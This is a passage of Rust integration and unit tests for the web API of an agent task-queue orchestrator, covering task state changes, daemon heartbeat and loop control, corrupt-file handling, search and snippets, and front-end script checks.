16838 let mut task = Task::new(
16839 "busy".to_owned(),
16840 "Running right now".to_owned(),
16841 PathBuf::from("/repo/magi"),
16842 Source::Human,
16843 );
16844 queue.put(&mut task).expect("file the task");
16845 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16846
16847 let priority = f
16848 .post(
16849 &format!("/api/queue/{}/priority", task.id),
16850 Some(r#"{"priority":9}"#),
16851 )
16852 .await;
16853 assert_eq!(priority.status, 409, "{}", priority.body);
16854
16855 let edit = f
16856 .post(
16857 &format!("/api/queue/{}/edit", task.id),
16858 Some(r#"{"title":"x","instruction":"y"}"#),
16859 )
16860 .await;
16861 assert_eq!(edit.status, 409, "{}", edit.body);
16862 }
16863
16864 #[tokio::test]
16865 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16866 let f = Fixture::start().await;
16867 let queue = f.queue();
16868 let mut task = Task::new(
16869 "shipped by hand".to_owned(),
16870 "merged outside the loop".to_owned(),
16871 PathBuf::from("/repo/magi"),
16872 Source::Agent {
16873 run: "20260101-000000-b455".to_owned(),
16874 node: "implement".to_owned(),
16875 },
16876 );
16877 task.runs.push("20260101-000000-b455".to_owned());
16878 task.runs.push("20260101-000000-9af4".to_owned());
16879 queue.put(&mut task).expect("file the task");
16880 let created_at = task.created_at;
16881
16882 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16883 assert_eq!(done.status, 200, "{}", done.body);
16884 assert_eq!(done.json()["status_str"], "done");
16885
16886 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16887 assert_eq!(
16888 reloaded.runs,
16889 ["20260101-000000-b455", "20260101-000000-9af4"]
16890 );
16891 assert_eq!(
16892 reloaded.source,
16893 Source::Agent {
16894 run: "20260101-000000-b455".to_owned(),
16895 node: "implement".to_owned(),
16896 }
16897 );
16898 assert_eq!(reloaded.created_at, created_at);
16899 }
16900
16901 #[tokio::test]
16902 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16903 let f = Fixture::start().await;
16908 let queue = f.queue();
16909 let mut task = Task::new(
16910 "landed while held".to_owned(),
16911 "x".to_owned(),
16912 PathBuf::from("/repo/magi"),
16913 Source::Human,
16914 );
16915 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16916 queue.put(&mut task).expect("file the held task");
16917
16918 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16919 assert_eq!(done.status, 200, "{}", done.body);
16920 assert_eq!(done.json()["status_str"], "done");
16921 assert!(
16922 done.json()["hold_reason"].is_null(),
16923 "a done task cannot still be waiting on something: {}",
16924 done.body
16925 );
16926 }
16927
16928 #[tokio::test]
16929 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16930 let f = Fixture::start().await;
16935 let queue = f.queue();
16936 let runs = f.runs();
16937 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16938 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16942
16943 let mut task = Task::new(
16944 "landed by hand".to_owned(),
16945 "x".to_owned(),
16946 PathBuf::from("/repo/magi"),
16947 Source::Human,
16948 );
16949 task.runs.push("20260101-000000-doa1".to_owned());
16950 task.runs.push("20260101-000000-doa2".to_owned());
16951 queue.put(&mut task).expect("file the task");
16952
16953 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16954 assert_eq!(done.status, 200, "{}", done.body);
16955
16956 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16957 .expect("run still on disk under this fixture's own home");
16958 assert_eq!(
16959 reloaded_run.status,
16960 RunStatus::Superseded,
16961 "closing the task by hand must relabel the earlier blocked attempt exactly \
16962 like the loop's own settle path does"
16963 );
16964 }
16965
16966 #[tokio::test]
16967 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16968 let f = Fixture::start().await;
16973 let queue = f.queue();
16974 let runs = f.runs();
16975 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16976 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16977
16978 let mut task = Task::new(
16979 "closed with nothing actually landed".to_owned(),
16980 "x".to_owned(),
16981 PathBuf::from("/repo/magi"),
16982 Source::Human,
16983 );
16984 task.runs.push("20260101-000000-dob1".to_owned());
16985 task.runs.push("20260101-000000-dob2".to_owned());
16986 queue.put(&mut task).expect("file the task");
16987
16988 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16989 assert_eq!(done.status, 200, "{}", done.body);
16990
16991 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16992 .expect("run still on disk under this fixture's own home");
16993 assert_eq!(
16994 reloaded_run.status,
16995 RunStatus::Blocked,
16996 "the last recorded attempt never landed, so the earlier one must not be \
16997 relabelled as superseded by it"
16998 );
16999 }
17000
17001 #[tokio::test]
17002 async fn unknown_ids_are_json_not_found_on_both_stores() {
17003 let f = Fixture::start().await;
17004
17005 let run = f.get("/api/runs/nosuchrun").await;
17006 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17007
17008 assert_eq!(run.status, 404);
17009 assert_eq!(task.status, 404);
17010 assert!(
17011 run.json()["error"]
17012 .as_str()
17013 .is_some_and(|e| e.contains("run")),
17014 "the error names what was not found: {}",
17015 run.body
17016 );
17017 assert!(
17018 task.json()["error"]
17019 .as_str()
17020 .is_some_and(|e| e.contains("task")),
17021 "the error names what was not found: {}",
17022 task.body
17023 );
17024 }
17025
17026 #[tokio::test]
17027 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17028 let f = Fixture::start().await;
17029
17030 let missing = f.get("/api/health").await.json();
17031 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17032
17033 write_daemon(
17034 f.home.path(),
17035 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17036 );
17037 let stale = f.get("/api/health").await.json();
17038 assert_eq!(
17039 stale["daemon"]["running"], false,
17040 "a minute without a heartbeat is a dead daemon, not a busy one"
17041 );
17042 assert!(
17043 stale["daemon"]["stale_for_secs"]
17044 .as_i64()
17045 .is_some_and(|s| s >= 55),
17046 "staleness is reported so the UI can say how long: {stale}"
17047 );
17048
17049 write_daemon(f.home.path(), Timestamp::now());
17050 let fresh = f.get("/api/health").await.json();
17051 assert_eq!(fresh["daemon"]["running"], true);
17052 assert_eq!(fresh["daemon"]["idle"], false);
17053 assert_eq!(fresh["daemon"]["pid"], 4242);
17054 assert_eq!(fresh["daemon"]["completed"], 7);
17055 assert_eq!(
17056 fresh["daemon"]["current"][0]["task"],
17057 "20260902-140501-aaaa"
17058 );
17059 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17060 }
17061
17062 #[tokio::test]
17063 async fn the_loop_is_not_running_until_something_starts_it() {
17064 let f = Fixture::start().await;
17065
17066 let view = f.get("/api/loop").await.json();
17067 assert_eq!(view["running"], false);
17068 assert_eq!(
17069 view["owned"], false,
17070 "nobody owns a loop that does not exist: {view}"
17071 );
17072 assert_eq!(view["stopping"], false);
17073 assert_eq!(view["last_error"], Value::Null);
17074 assert_eq!(view["daemon"]["running"], false);
17075 assert_eq!(
17076 view["repo"], "/repo/magi",
17077 "the repository a start would use, named before it is started"
17078 );
17079 }
17080
17081 #[tokio::test]
17082 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17083 let f = Fixture::start().await;
17084
17085 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17086 assert_eq!(res.status, 200, "{}", res.body);
17087 let view = res.json();
17088 assert_eq!(view["running"], true);
17089 assert_eq!(
17090 view["owned"], true,
17091 "the loop the UI started is the UI's own to stop: {view}"
17092 );
17093 assert_eq!(
17094 view["merge"],
17095 Value::Null,
17096 "no override was given, so each repository's own config decides"
17097 );
17098
17099 let health = f.get("/api/health").await.json();
17103 assert_eq!(health["loop"]["running"], true, "{health}");
17104 assert_eq!(health["loop"]["owned"], true, "{health}");
17105
17106 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17107 }
17108
17109 #[tokio::test]
17110 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17111 let f = Fixture::start().await;
17112 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17113 assert_eq!(first.status, 200, "{}", first.body);
17114
17115 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17116 assert_eq!(
17117 again.status, 409,
17118 "two loops on one queue race for the same claims: {}",
17119 again.body
17120 );
17121 assert!(
17122 again.json()["error"]
17123 .as_str()
17124 .is_some_and(|e| e.contains("already running the loop")),
17125 "the refusal has to say why: {}",
17126 again.body
17127 );
17128 assert_eq!(
17129 f.get("/api/loop").await.json()["running"],
17130 true,
17131 "and the loop that was already running is untouched by it"
17132 );
17133
17134 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17135 }
17136
17137 #[tokio::test]
17138 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17139 let f = Fixture::start().await;
17140 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17141
17142 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17143 assert_eq!(
17144 res.status, 200,
17145 "the answer must not wait for the loop: a run in flight is tens of \
17146 minutes and the operator is holding a phone: {}",
17147 res.body
17148 );
17149
17150 let view = settled(&f, |v| v["running"] == false).await;
17151 assert_eq!(view["owned"], false);
17152 assert_eq!(
17153 view["stopping"], false,
17154 "a loop that has stopped is not still stopping: {view}"
17155 );
17156 assert_eq!(
17157 view["last_error"],
17158 Value::Null,
17159 "a loop that was asked to stop did not fail: {view}"
17160 );
17161
17162 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17165 assert_eq!(twice.status, 200, "{}", twice.body);
17166 }
17167
17168 #[tokio::test]
17169 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17170 let f = Fixture::start().await;
17171 write_daemon(f.home.path(), Timestamp::now());
17174
17175 let view = f.get("/api/loop").await.json();
17176 assert_eq!(view["running"], false, "not in this process: {view}");
17177 assert_eq!(view["owned"], false, "and not this process's to control");
17178 assert_eq!(
17179 view["daemon"]["running"], true,
17180 "but a loop is alive somewhere, which is what the UI must say"
17181 );
17182 assert_eq!(view["daemon"]["pid"], 4242);
17183
17184 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17185 let res = f.post("/api/loop", Some(body)).await;
17186 assert_eq!(
17187 res.status, 409,
17188 "neither button may pretend to work on someone else's loop: {}",
17189 res.body
17190 );
17191 assert!(
17192 res.json()["error"]
17193 .as_str()
17194 .is_some_and(|e| e.contains("4242")),
17195 "the refusal has to name the process the operator must go to: {}",
17196 res.body
17197 );
17198 }
17199 assert_eq!(
17200 f.get("/api/loop").await.json()["running"],
17201 false,
17202 "and the refusal started nothing"
17203 );
17204 }
17205
17206 #[tokio::test]
17207 async fn a_stale_status_file_is_not_a_foreign_owner() {
17208 let f = Fixture::start().await;
17209 write_daemon(
17210 f.home.path(),
17211 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17212 );
17213
17214 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17215 assert_eq!(
17216 res.status, 200,
17217 "a daemon killed a minute ago must not lock the loop out of its \
17218 own home for good: {}",
17219 res.body
17220 );
17221 assert_eq!(res.json()["running"], true);
17222
17223 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17224 }
17225
17226 #[tokio::test]
17227 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17228 let f = Fixture::start().await;
17229 let before = f.get("/api/health").await.json()["loop_rev"]
17230 .as_u64()
17231 .expect("a loop revision");
17232
17233 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17234
17235 let after = f.get("/api/health").await.json()["loop_rev"]
17236 .as_u64()
17237 .expect("a loop revision");
17238 assert!(
17239 after > before,
17240 "the loop is in-process state, so this counter is the only thing \
17241 that tells a second device the first one started it: {before} -> \
17242 {after}"
17243 );
17244
17245 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17246 }
17247
17248 #[tokio::test]
17249 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17250 let f = Fixture::with_loop(launch_broken).await;
17251
17252 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17253 assert_eq!(
17254 res.status, 200,
17255 "starting it is not the failure: {}",
17256 res.body
17257 );
17258
17259 let view = settled(&f, |v| v["last_error"].is_string()).await;
17260 assert_eq!(
17261 view["running"], false,
17262 "a loop that died must not read as running, or the operator has \
17263 nothing to press: {view}"
17264 );
17265 assert_eq!(view["owned"], false);
17266 assert!(
17267 view["last_error"]
17268 .as_str()
17269 .is_some_and(|e| e.contains("read-only file system")),
17270 "the phone is where a loop that died at 3am is visible: {view}"
17271 );
17272
17273 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17276 assert_eq!(again.status, 200, "{}", again.body);
17277 assert!(
17278 again.json()["last_error"]
17279 .as_str()
17280 .is_none_or(|e| !e.contains("read-only file system")),
17281 "a fresh start does not keep showing why the last one died: {}",
17282 again.body
17283 );
17284 }
17285
17286 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17298 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17299 let home = TempDir::new().expect("temp home");
17300 let runs = home.path().join("runs");
17301 std::fs::create_dir_all(&runs).expect("runs dir");
17302 let ui = Ui::new(
17303 Queue::at(home.path().join("queue")),
17304 Questions::at(home.path().join("questions")),
17305 Talks::at(home.path().join("talks")),
17306 runs,
17307 home.path().to_path_buf(),
17308 PathBuf::from("/repo/magi"),
17309 )
17310 .with_worktrees_root(home.path().join("wt"))
17311 .with_launch(launch_knocking_on_the_way_out);
17312 let looping = ui.looping();
17313 let turns = ui.turns();
17314 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17315 .await
17316 .expect("bind loopback");
17317 let addr = listener.local_addr().expect("local addr");
17318 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17319 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17320
17321 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17322 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17323
17324 let bound = std::sync::Mutex::new(None);
17339 hand_over(
17340 home.path(),
17341 &looping,
17342 &turns,
17343 &|_: &[String]| Duration::from_secs(5),
17344 served,
17345 |_| {
17346 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17347 let attempt = loop {
17348 match std::net::TcpListener::bind(addr) {
17349 Ok(l) => {
17350 drop(l);
17351 break Ok(());
17352 }
17353 Err(e)
17354 if e.kind() == std::io::ErrorKind::AddrInUse
17355 && std::time::Instant::now() < deadline =>
17356 {
17357 std::thread::sleep(std::time::Duration::from_millis(10));
17358 }
17359 Err(e) => break Err(e.to_string()),
17360 }
17361 };
17362 *bound.lock().expect("bound") = Some(attempt);
17363 Ok(1)
17364 },
17365 )
17366 .await
17367 .expect("hand over");
17368
17369 assert_eq!(
17370 *PARK_HEARD.lock().expect("park heard"),
17371 Some(200),
17372 "the deck must answer while the loop is parking"
17373 );
17374 let attempt = bound
17375 .lock()
17376 .expect("bound")
17377 .take()
17378 .expect("the successor was started");
17379 assert!(
17380 attempt.is_ok(),
17381 "and the address must be free by the time it is: {attempt:?}"
17382 );
17383 }
17384
17385 #[tokio::test]
17386 async fn a_newer_daemon_status_file_still_renders() {
17387 let f = Fixture::start().await;
17388 std::fs::write(
17391 f.home.path().join("daemon.json"),
17392 serde_json::json!({
17393 "schema": 2,
17394 "updated_at": Timestamp::now().to_string(),
17395 "idle": true,
17396 "surprise": { "nested": [1, 2, 3] },
17397 })
17398 .to_string(),
17399 )
17400 .expect("write daemon.json");
17401
17402 let health = f.get("/api/health").await;
17403
17404 assert_eq!(health.status, 200);
17405 assert_eq!(health.json()["daemon"]["running"], true);
17406 }
17407
17408 #[tokio::test]
17409 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17410 let f = Fixture::start().await;
17411 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17412 let broken = f.runs().join("20260902-140502-bad");
17413 std::fs::create_dir_all(&broken).expect("run dir");
17414 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17415
17416 let list = f.get("/api/runs").await;
17417 let detail = f.get("/api/runs/20260902-140502-bad").await;
17418
17419 assert_eq!(list.status, 200);
17420 let listed = list.json();
17421 let ids: Vec<&str> = listed
17422 .as_array()
17423 .expect("an array")
17424 .iter()
17425 .map(|r| r["id"].as_str().expect("an id"))
17426 .collect();
17427 assert_eq!(
17428 ids,
17429 vec!["20260902-140501-good"],
17430 "one unreadable run must not cost the operator the whole history"
17431 );
17432 assert_eq!(detail.status, 500);
17433 assert!(
17434 detail.json()["error"]
17435 .as_str()
17436 .is_some_and(|e| e.contains("run.json")),
17437 "the failure names the file to look at: {}",
17438 detail.body
17439 );
17440 let health = f.get("/api/health").await;
17444 assert_eq!(health.json()["runs_unreadable"], 1);
17445 }
17446
17447 #[tokio::test]
17449 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17450 let f = Fixture::start().await;
17451 let runs = f.runs();
17452 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17453 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17454 let path = runs.join("20260902-140502-bbbb").join("run.json");
17457 let mut v: serde_json::Value =
17458 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17459 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17460 std::fs::write(&path, v.to_string()).unwrap();
17461 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17462 std::fs::write(
17463 runs.join("20260902-140503-cccc").join("run.json"),
17464 "{ not json",
17465 )
17466 .unwrap();
17467
17468 let res = f.get("/api/search?scope=runs&q=quokka").await;
17469 assert_eq!(res.status, 200, "{}", res.body);
17470 let v = res.json();
17471 assert_eq!(v["total"], 1, "{v}");
17472 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17473 assert_eq!(v["hits"][0]["field"], "text");
17474 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17475 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17476 assert!(
17477 parts
17478 .iter()
17479 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17480 "{v}"
17481 );
17482 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17483 assert_eq!(
17484 flat, "The Quokka leaks across threads",
17485 "whitespace is collapsed"
17486 );
17487
17488 let both = f
17490 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17491 .await
17492 .json();
17493 assert_eq!(both["total"], 1, "{both}");
17494 let neither = f
17495 .get("/api/search?scope=runs&q=quokka%20zebra")
17496 .await
17497 .json();
17498 assert_eq!(neither["total"], 0, "{neither}");
17499 let stmt = f
17501 .get("/api/search?scope=runs&q=mobile%20first")
17502 .await
17503 .json();
17504 assert_eq!(stmt["total"], 2, "{stmt}");
17505 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17506 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17507 }
17508
17509 #[test]
17510 fn snippet_ignores_terms_longer_than_the_field() {
17511 let terms = ["ok".to_owned(), "elephant".to_owned()];
17512 let parts = snippet_of("ok", &terms);
17513 assert_eq!(
17514 parts,
17515 vec![SnippetPart {
17516 text: "ok".to_owned(),
17517 hit: true
17518 }]
17519 );
17520 }
17521
17522 #[test]
17523 fn snippet_marks_matches_longer_than_the_window() {
17524 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17525 let hit_len = |parts: &[SnippetPart]| -> usize {
17526 parts
17527 .iter()
17528 .filter(|p| p.hit)
17529 .map(|p| p.text.chars().count())
17530 .sum()
17531 };
17532 let total =
17533 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17534
17535 let long = "a".repeat(120);
17536 let parts = snippet_of(&long, std::slice::from_ref(&long));
17537 assert!(hit_len(&parts) > 0, "{parts:?}");
17538 assert!(total(&parts) <= cap);
17539
17540 let ja = "あ".repeat(130);
17541 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17542 assert!(hit_len(&parts) > 0, "{parts:?}");
17543 assert!(total(&parts) <= cap);
17544
17545 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17547 let term = format!("ab{}", "c".repeat(100));
17548 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17549 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17550 assert!(total(&parts) <= cap);
17551
17552 let text = format!("{}z", "a".repeat(119));
17554 let parts = snippet_of(&text, &["a".repeat(120)]);
17555 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17556 }
17557
17558 #[tokio::test]
17559 async fn search_caps_hits_and_snippet_length() {
17560 let f = Fixture::start().await;
17561 let runs = f.runs();
17562 for n in 0..(SEARCH_MAX_HITS + 5) {
17563 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17564 }
17565 let v = f.get("/api/search?scope=runs&q=web").await.json();
17566 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17567 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17568 assert_eq!(v["truncated"], true);
17569 assert!(
17571 v["hits"]
17572 .as_array()
17573 .unwrap()
17574 .iter()
17575 .all(|h| h["run"]["status"] == "merged")
17576 );
17577
17578 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17579 let parts = snippet_of(&long, &["needle".to_owned()]);
17580 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17581 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17582 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17583 }
17584
17585 #[tokio::test]
17586 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17587 let f = Fixture::start().await;
17588 let queue = f.queue();
17589 let mut t = Task::new(
17590 "short title".to_owned(),
17591 "line one\nthe hidden Armadillo detail".to_owned(),
17592 PathBuf::from("/repo/magi"),
17593 Source::Agent {
17594 run: "r1".to_owned(),
17595 node: "chat".to_owned(),
17596 },
17597 );
17598 t.last_error = Some("disk full on /tmp".to_owned());
17599 queue.put(&mut t).expect("file the task");
17600
17601 for (q, want) in [
17602 ("armadillo", 1),
17603 ("disk%20FULL", 1),
17604 ("chat", 1),
17605 ("queued", 1),
17606 ("short%20nothing", 0),
17607 ] {
17608 let v = f
17609 .get(&format!("/api/search?scope=tasks&q={q}"))
17610 .await
17611 .json();
17612 assert_eq!(v["total"], want, "{q}: {v}");
17613 }
17614 for bad in [
17615 "/api/search?scope=tasks&q=",
17616 "/api/search?scope=tasks&q=%20",
17617 "/api/search?scope=chats&q=",
17618 "/api/search?scope=chats&q=%20",
17619 "/api/search?scope=nope&q=a",
17620 "/api/search?q=a",
17621 ] {
17622 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17623 }
17624 }
17625
17626 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17628 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17629 .expect("seat value");
17630 let turns: Vec<serde_json::Value> = turns
17631 .iter()
17632 .map(|(who, body)| {
17633 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17634 })
17635 .collect();
17636 let doc = serde_json::json!({
17637 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17638 "status": status, "turns": turns,
17639 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17640 "seat": seat,
17641 });
17642 let dir = f.home.path().join("talks");
17643 std::fs::create_dir_all(&dir).expect("talks dir");
17644 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17645 }
17646
17647 #[tokio::test]
17648 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17649 let f = Fixture::start().await;
17650 write_talk(
17651 &f,
17652 "20260901-000001-aaaa",
17653 "open",
17654 &[
17655 (
17656 "operator",
17657 "\n Why does the Pangolin cache expire?\nsecond line",
17658 ),
17659 ("agent", "Because the TTL is thirty seconds."),
17660 ],
17661 );
17662 write_talk(
17663 &f,
17664 "20260901-000002-bbbb",
17665 "closed",
17666 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17667 );
17668 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17669
17670 let search = |q: &'static str| {
17671 let f = &f;
17672 async move {
17673 f.get(&format!("/api/search?scope=chats&q={q}"))
17674 .await
17675 .json()
17676 }
17677 };
17678
17679 let v = search("PANGOLIN").await;
17680 assert_eq!(v["scope"], "chats");
17681 assert_eq!(v["total"], 1, "{v}");
17682 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17683 assert_eq!(v["hits"][0]["field"], "title");
17684 assert_eq!(v["unreadable"], 1, "{v}");
17685 let marked: Vec<&str> = v["hits"][0]["snippet"]
17686 .as_array()
17687 .unwrap()
17688 .iter()
17689 .filter(|p| p["hit"] == true)
17690 .map(|p| p["text"].as_str().unwrap())
17691 .collect();
17692 assert_eq!(marked, ["Pangolin"]);
17693
17694 let v = search("zebra").await;
17696 assert_eq!(v["total"], 1, "{v}");
17697 assert_eq!(v["hits"][0]["field"], "agent");
17698 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17700 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17701 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17703 assert_eq!(search(q).await["total"], 0, "{q}");
17704 }
17705 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17707 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17709
17710 let v = f.get("/api/search?scope=nope&q=a").await;
17711 assert_eq!(v.status, 400);
17712 assert!(
17713 v.body.contains("scope must be runs, tasks or chats"),
17714 "{}",
17715 v.body
17716 );
17717 }
17718
17719 #[test]
17720 fn a_question_card_links_a_task_id_to_the_task_page() {
17721 let start = APP_JS
17722 .find("function updateAskCard(")
17723 .expect("updateAskCard exists");
17724 let body = &APP_JS[start..];
17725 let body = &body[..body.find("\n}\n").expect("function end")];
17726 assert!(body.contains("question.run_is_task"));
17727 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17728 assert!(body.contains("`#/runs/${question.run}`"));
17729 assert!(body.contains("\"task\" : \"run\""));
17730 }
17731
17732 #[test]
17733 fn plain_text_message_surfaces_go_through_linkify() {
17734 assert!(APP_JS.contains("function linkify("));
17735 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17736 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17737 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17738 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17739 assert!(!APP_JS.contains("innerHTML = text"));
17740 }
17741
17742 #[test]
17743 fn implementation_rate_views_keep_independent_samples() {
17744 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17745 let a = stats::AgentStats {
17746 competitive_entered: competitive_n,
17747 competitive_wins: usize::from(competitive_n > 0),
17748 solo_entered: solo_n,
17749 solo_adopted: 2 * usize::from(solo_n > 0),
17750 ..Default::default()
17751 };
17752 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17753 for (key, n, numerator) in [
17754 ("competitive_win_rate", competitive_n, a.competitive_wins),
17755 ("solo_adoption_rate", solo_n, a.solo_adopted),
17756 ] {
17757 if n == 0 {
17758 assert!(v[key].is_null());
17759 } else {
17760 assert_eq!(v[key]["denominator"], n);
17761 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17762 }
17763 }
17764 }
17765 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17766 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17767 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17768 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17769 }
17770
17771 #[test]
17772 fn stats_bars_share_one_id_keyed_plan() {
17773 let start = APP_JS
17774 .find("function statsBarRows(")
17775 .expect("statsBarRows exists");
17776 let body = &APP_JS[start..];
17777 let body = &body[..body.find("\n}\n").expect("function end")];
17778 assert!(body.contains("statsBarPlan(rows)"));
17779 assert!(body.contains("statsAgentTone(row.agent)"));
17780 assert!(!body.contains("candTone(i)"));
17781 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17782 for root in [
17783 "stats-agents-bars",
17784 "stats-solo-bars",
17785 "stats-reviewers-bars",
17786 ] {
17787 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17788 }
17789 }
17790
17791 #[test]
17792 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17793 let start = APP_JS
17794 .find("function renderStatsReviewerScatter(")
17795 .expect("renderStatsReviewerScatter exists");
17796 let body = &APP_JS[start..];
17797 let body = &body[..body.find("\n}\n").expect("function end")];
17798 assert!(body.contains("statsScatterPlan(reviewers)"));
17799 assert!(body.contains("statsAgentTone(d.agent)"));
17800 assert!(APP_JS.contains("function statsScatterPlan("));
17801 assert!(
17802 APP_JS.contains("d.submitted < STATS_LOW_N")
17803 || APP_JS.contains("r.submitted < STATS_LOW_N")
17804 );
17805 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17806 assert!(APP_CSS.contains(".precision-scatter"));
17807 }
17808
17809 #[test]
17810 fn advisor_reflection_is_drawn_as_stacked_segments() {
17811 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17812 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
